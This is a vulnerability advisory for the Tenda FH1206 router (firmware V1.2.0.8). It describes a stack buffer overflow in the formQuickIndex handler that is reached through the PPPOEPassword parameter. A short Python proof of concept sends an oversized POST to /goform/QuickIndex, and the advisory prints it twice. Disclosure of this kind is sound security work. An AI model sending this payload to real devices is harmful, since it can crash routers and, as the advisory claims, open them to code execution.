Overview

Tenda FH1206 V1.2.0.8(8155)_EN

• Firmware download website:
  • https://www.tendacn.com/hk/download/detail-2344.html
  • https://www.tendacn.com/us/download/detail-2344.html

Affected version

V1.2.0.8(8155)_EN

Vulnerability details

The Tenda FH1206 V1.2.0.8(8155)_EN has a stack overflow vulnerability located in the formQuickIndex function.The v6 variable receives the PPPOEPassword parameter from a POST request and and passes it to the decodePwd function.

Within decodePwd , the v6 variable is later assigned to the v8  variable. However, since the user has control over the input of PPPOEPassword, it can lead to a buffer overflow. There is no size check, so the user-provided v6 can exceed the allocated size of the v8 array (256 bytes), thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

PoC

# formQuickIndex

import requests

ip = '192.168.0.100:80'

url = f"http://{ip}/goform/QuickIndex"

data = {"mit_linktype":"2", "PPPOEPassword":'a'*0x200}

ret = requests.post(url, data)

Additional Information

###Product_version
Tenda FH1206 
V1.2.0.8(8155)_EN

###Affected_component
the "formQuickIndex" function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/QuickIndex"
data = {"mit_linktype":"2", "PPPOEPassword":'a'*0x200}
ret = requests.post(url, data)

###Discription
Tenda FH1206 V1.2.0.8(8155)_EN was discovered to contain a stack-based buffer overflow vulnerability via the PPPOEPassword parameter at ip/goform/QuickIndex.

###Refernce
<https://palm-vertebra-fe9.notion.site/formQuickIndex-e1f24466830f4cb4a7756d6997f411b4>
<https://www.tendacn.com/hk/download/detail-2344.html>